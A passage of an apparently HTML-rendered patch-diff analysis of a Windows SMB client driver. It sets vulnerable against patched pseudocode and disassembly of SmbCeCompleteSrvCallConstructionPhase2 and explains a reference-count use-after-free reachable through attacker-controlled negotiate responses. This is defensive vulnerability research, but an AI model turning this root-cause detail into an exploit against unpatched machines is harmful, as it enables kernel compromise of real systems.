&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000020C&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// If feature disabled: endpoint NOT referenced here.&lt;/span&gt;

&lt;span class="c1"&gt;// Negotiate response parsed in BOTH paths (attacker-controlled bytes):&lt;/span&gt;
&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetDialectInfoFromNegotiateResponse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverEntry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;negBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;

&lt;span class="c1"&gt;// Late reference, only when the flag was OFF:&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Feature_84197691__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmbCeAcquireSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmbCeGetFirstVcEndpoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverEntry&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VctReferenceEndpoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// atomic increment, NO zero-check -&amp;gt; resurrects refcount-0 object&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x148&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============= PATCHED SmbCeCompleteSrvCallConstructionPhase2 =============&lt;/span&gt;
&lt;span class="c1"&gt;// Feature flag removed.&lt;/span&gt;
&lt;span class="n"&gt;sil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAcquireSpinLockExclusive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x784&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x782&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmbCeGetFirstVcEndpoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverEntry&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;VctReferenceEndpointSafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// always zero-checked, early&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000020C&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x148&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Negotiate parsed ONLY AFTER the endpoint is safely referenced:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetDialectInfoFromNegotiateResponse&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// The late VctReferenceEndpoint call is removed entirely.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============= VctReferenceEndpoint @ 0x1C000EE90 (no zero-check) =============&lt;/span&gt;
&lt;span class="c1"&gt;// ebx = 1; lock xadd [obj+8], ebx    -&amp;gt; atomic increment, returns previous count&lt;/span&gt;
&lt;span class="c1"&gt;// return previous + 1                -&amp;gt; always non-zero; cannot fail on a torn-down object&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============= VctReferenceEndpointSafe @ 0x1C00168E4 (zero-checked) =============&lt;/span&gt;
&lt;span class="c1"&gt;// old = [obj+8];&lt;/span&gt;
&lt;span class="c1"&gt;// if (old == 0) return 0;            -&amp;gt; refuse to reference a torn-down object&lt;/span&gt;
&lt;span class="c1"&gt;// lock cmpxchg [obj+8], old+1 loop;&lt;/span&gt;
&lt;span class="c1"&gt;// return 1;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable region of &lt;code&gt;SmbCeCompleteSrvCallConstructionPhase2&lt;/code&gt; (unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- setup ----&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E10&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp-40h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;P&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E28&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; r13 = ServerEntry&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E2E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; r14 = negotiate response buffer&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E34&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; edi = NTSTATUS&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E3E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; rsi = connection object&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E55&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; r15 = SrvCall&lt;/span&gt;

&lt;span class="c1"&gt;; ---- feature gate ----&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_84197691__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E6A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E6C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0011EE2&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; disabled -&amp;gt; deferred path&lt;/span&gt;

&lt;span class="c1"&gt;; ---- early zero-checked path (feature enabled) ----&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E71&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SmbCeAcquireSpinLock&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; (rsi)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E7C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SmbCeGetFirstVcEndpoint&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; (r13) -&amp;gt; rbx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011EAA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;VctReferenceEndpointSafe&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; zero-checked&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011EB5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011EB7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C0011ECC&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; success&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011ECC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;148&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011ED3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SmbCeReleaseSpinLock&lt;/span&gt;

&lt;span class="c1"&gt;; ---- negotiate parse (both paths) ----&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011FC3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; serverEntry-&amp;gt;connection&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011FCC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;GetDialectInfoFromNegotiateResponse&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011FD1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;

&lt;span class="c1"&gt;; ---- second gate: decide whether to late-acquire ----&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0012038&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_84197691__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001203D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001203F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C0012099&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; enabled -&amp;gt; already referenced, skip&lt;/span&gt;

&lt;span class="c1"&gt;; ---- late reference (feature disabled) ----&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0012044&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SmbCeAcquireSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0012050&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SmbCeGetFirstVcEndpoint&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; rbx = endpoint (may be mid-teardown)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001207B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001207E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;VctReferenceEndpoint&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; no zero-check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0012083&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;148&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0012090&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SmbCeReleaseSpinLock&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;VctReferenceEndpoint @ 0x1C000EE90&lt;/code&gt; (no zero-check)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000EE9D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000EEA2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; atomic increment, no zero-check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000EEB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000EEC1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_RxDiagnosticTrace&lt;/span&gt;
